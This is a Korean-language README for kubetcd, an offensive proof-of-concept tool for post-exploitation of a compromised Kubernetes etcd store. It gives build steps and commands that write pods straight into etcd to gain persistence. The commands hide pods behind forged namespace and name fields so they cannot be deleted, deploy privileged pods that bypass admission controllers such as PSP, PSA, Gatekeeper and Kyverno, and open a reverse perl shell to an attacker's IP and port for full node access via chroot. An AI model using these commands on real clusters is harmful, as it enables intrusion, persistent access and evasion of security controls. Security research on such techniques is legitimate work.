
침해된 etcd를 사후 익스플로잇하여 지속성을 확보하고 노드에 원격 셸을 획득합니다.
https://github.com/jpbetz/auger의 래퍼입니다.
etcd에 직접 기록하여 포드 배포를 자동화합니다. 손상된 etcd에 대한 사후 악용(post-exploitation)을 위한 여러 기능을 포함합니다.
[!WARNING]
이것은 PoC이므로 프로덕션 환경에서 사용하지 마십시오. etcd에 직접 기록하면 불일치 또는 손상된 데이터가 발생하여kube-apiserver가 etcd에서 데이터를 검색하거나 조작하지 못할 수 있습니다. 여러 노드가 있는 테스트 환경은 KIND로 배포할 수 있습니다
메인 저장소인 auger는 etcd에 있는 protobuf 직렬화/역직렬화 항목의 주요 기능을 제공합니다. Kubetcd는 이러한 기능을 래핑하여 일반 kubectl 클라이언트에 etcdctl을 근사화하는 PoC입니다. etcd가 손상된 시나리오에서 kubetcd는 조작되고 권한이 있는 포드를 사용하여 클러스터의 모든 호스트에 대한 지속성과 권한 있는 액세스를 얻으려 시도합니다. 참고: kubetcd는 현재 포드 작업만 지원합니다.
Kubetcd는 다음 기본 경로에서 etcd 서비스 인증에 사용할 인증서와 키를 가져옵니다:
또한 기본 엔드포인트는 127.0.0.1:2379로 설정됩니다.
위의 모든 기본값은 파라미터를 통해 변경할 수 있습니다.
또한 etcd의 클라이언트인 etcdctl이 설치되어 있어야 합니다.
sudo apt install etcd-client
저장소를 체크아웃하고 빌드합니다:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
다음 오류가 발생할 수 있습니다:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
이 경우 Golang 1.19로 kubetcd를 빌드하세요.
기본 auger 기능은 여전히 존재하며, 해당 내용은 https://github.com/jpbetz/auger를 참조하세요. 이 README는 래퍼에 추가된 새로운 기능만 자세히 설명합니다:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName은 기본 네임스페이스에서 실행 중인 포드여야 합니다:
./kubetcd create pod <name> -t <templateName>
동일한 name과 templateName 값을 설정하면 실행 중인 포드를 덮어쓸 수 있습니다.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
etcd는 새 포드를 /registry/pods/<namespace>/<name>에 저장하지만 namespace와 name 필드는 변조될 수 있습니다. 이렇게 하면 이 포드는 kubectl로 나열할 수는 있지만 삭제할 수는 없습니다.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
원하는 노드에 워크로드를 배포합니다:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
제한된 네임스페이스에 권한 있는 포드를 배포합니다. 이는 PSP, PSA와 같은 기본 제공 AdmissionController나 OPA Gatekeer 또는 Kyverno와 같은 사용자 정의 정책 기반 정책을 우회합니다:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
-P 플래그는 모든 포드를 privileged로 설정하고 기본 노드와 network, PID, IPC 네임스페이스를 공유합니다.
제한된 네임스페이스에 권한 있는 포드를 배포하고 원격 셸을 얻습니다:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
이것은 여러 이미지에 기본적으로 포함된 리버스 perl 셸을 시작합니다. 리버스 셸을 획득한 후 chroot /host로 루트 파일시스템을 변경하면 노드에 대한 전체 액세스 권한을 얻을 수 있습니다.
corev1 브랜치 외부의 요소를 생성/조회/삭제할 수 있는 지원 추가